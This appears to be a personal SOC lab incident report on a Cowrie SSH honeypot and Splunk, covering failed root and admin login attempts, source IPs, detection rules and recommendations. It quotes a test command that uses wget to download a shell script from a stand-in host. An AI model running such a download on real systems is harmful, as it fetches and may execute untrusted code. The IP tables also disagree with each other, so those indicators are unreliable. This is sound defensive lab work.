# Security Operations Center

## Incident Investigation Report

**Incident ID:** 1
**System:** Cowrie SSH Honeypot
**SIEM:** Splunk Enterprise
**Investigation Date:** October 31, 2026
**Incident Category:** Suspicious SSH Authentication Activity
**Severity:** Medium – Preliminary Assessment
**Status:** Monitoring / Investigation

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### 1. Executive Summary

Our Cowrie SSH honeypot captured repeated SSH authentication failures targeting accounts on an internet-facing SSH service. The collected telemetry was forwarded to Splunk Enterprise, where searches and alerting rules were used to identify suspicious authentication activity, source IP addresses, and command execution attempts.

The most significant observed activity originated from `43.103.53.129`, which generated nine failed authentication attempts against the `root` account across nine unique sessions within approximately 84 seconds.

Two additional source IP addresses generated one failed login attempt each. The investigation excluded the known analyst testing IP address, `73.54.151.165`, to avoid confusing controlled testing with external activity.

The findings demonstrate successful deployment of a functioning SSH honeypot, centralized log collection, SIEM-based detection, and initial incident analysis.

### 2. Environment and Scope

**Infrastructure:**

- Cowrie SSH honeypot running on Ubuntu Server 24.04 hosted by digital ocean.
- Splunk Enterprise hosted locally on a Ubuntu virtual machine.
- Splunk Universal Forwarder transmitting Cowrie JSON logs.
- Tailscale provides private connectivity between the honeypot and SIEM to isolate my home network.

**Monitoring capabilities:**

- SSH connection monitoring.
- Successful and failed authentication tracking.
- Source IP identification.
- Username enumeration and targeting analysis.
- Suspicious command detection.
- Attack frequency analysis.
- Automated Splunk alerting.

## 3. Investigation Findings

### 3.1 Failed Authentication Activity

The most significant observed source was:

| Attribute | Finding |
|---|---|
| Source IP | `43.103.53.129` |
| Target username | `root` |
| Failed attempts | 9 |
| Unique sessions | 9 |
| First observed | 20:37:43 |
| Last observed | 20:39:07 |
| Duration | 84.25 seconds |
| Average frequency | 6.41 attempts/minute |
| Successful logins observed | 0 |

The repeated authentication failures are consistent with SSH password-guessing behavior.

### 3.2 Additional Source IP Addresses

After excluding the known analyst testing address, Splunk identified the following failed authentication activity:

| Source IP | Failed attempts | Targeted username |
|---|---|---|
| `43.103.53.129` | 9 | root |
| `119.247.233.238` | 1 | support |
| `121.120.36.10` | 1 | Admin |
| `103.4.123.18` | 1 | telecomadmin |
| **Total** | **12** | |

These addresses are classified as external to the known analyst testing source. Their identities and intent have not been independently verified.

#### 3.4 Suspicious Command Activity

Cowrie recorded a suspicious command during controlled testing:

```
wget http://example.invalid/test.sh
```

The command matched the Splunk suspicious-command detection logic.

This demonstrates that the SIEM can identify potentially dangerous command patterns. However, this particular event originated from the analyst's testing IP and is not evidence that an external source executed the command.

## 4. Detection and Monitoring

The following detection capabilities were implemented in Splunk:

- **Brute Force Detection:** Identifies repeated failed SSH authentication attempts within a defined time window.
- **Suspicious Command Detection:** Searches command input events for potentially dangerous utilities and execution patterns.
- **Source IP Analysis:** Aggregates authentication events by source address.
- **Authentication Monitoring:** Separates successful and failed login activity.
- **Attack Frequency Analysis:** Visualizes failed authentication attempts in 15-second intervals.

The investigation also confirmed that Cowrie events were successfully forwarded and indexed in the `cowrie` index.

## 5. Indicators of Compromise (IOCs)

The following indicators were identified during the investigation:

| Indicator | Value | Context |
|---|---|---|
| IPv4 address | `43.103.53.129` | 9 failed root login attempts |
| IPv4 address | `121.120.36.10` | 1 failed admin login attempt |
| IPv4 address | `89.22.244.22` | 1 failed root login attempt |
| IPv4 address | `103.4.123.18` | 1 failed telcomadmin attempt |
| Username | `root` | Repeated authentication target |
| Username | `Admin` | Additional authentication target |
| Username | `telecomadmin` | Additional authentication target |

These are observed investigation indicators, not independently confirmed malicious infrastructure.

## 6. Incident Assessment

The activity from `43.103.53.129` represents the strongest evidence of suspicious SSH authentication behavior in the collected dataset.

Nine failed authentication attempts occurred across nine separate sessions in a short period. This pattern is consistent with automated or repeated password-guessing activity.

No successful authentication from this source was observed in the reviewed results.

The investigation does not establish the identity of the source, whether the activity was automated, or whether the source was compromised infrastructure.

## 7. Recommended Security Actions

1. Continue monitoring SSH authentication events and source IP activity.
2. Maintain alerting for repeated failed authentication attempts.
3. Review newly observed source addresses for repeated activity and targeting patterns.
4. Add all IPs to a known probe blacklist
5. Expand suspicious-command detection to include additional shell utilities and download techniques.
6. Preserve Cowrie JSON logs for future investigation and analysis.

7. Review SIEM alert execution and ensure notifications are functioning.
8. Periodically verify that the honeypot remains isolated from production systems.

## 8. Conclusion

This honeypot project successfully demonstrated the deployment of an SSH deception environment and integration with a centralized SIEM platform.

The investigation identified repeated failed SSH authentication attempts, multiple observed source IP addresses, suspicious command patterns, and measurable attack frequency.

This project demonstrates practical experience with Linux server administration, cloud infrastructure, SSH honeypots, log forwarding, Splunk Search Processing Language (SPL), security alerting, event correlation, and incident documentation.

**Project:** Honeypot SOC Lab
**Technologies:** Cowrie, Splunk Enterprise, Ubuntu Server, DigitalOcean, Tailscale, Splunk Universal Forwarder.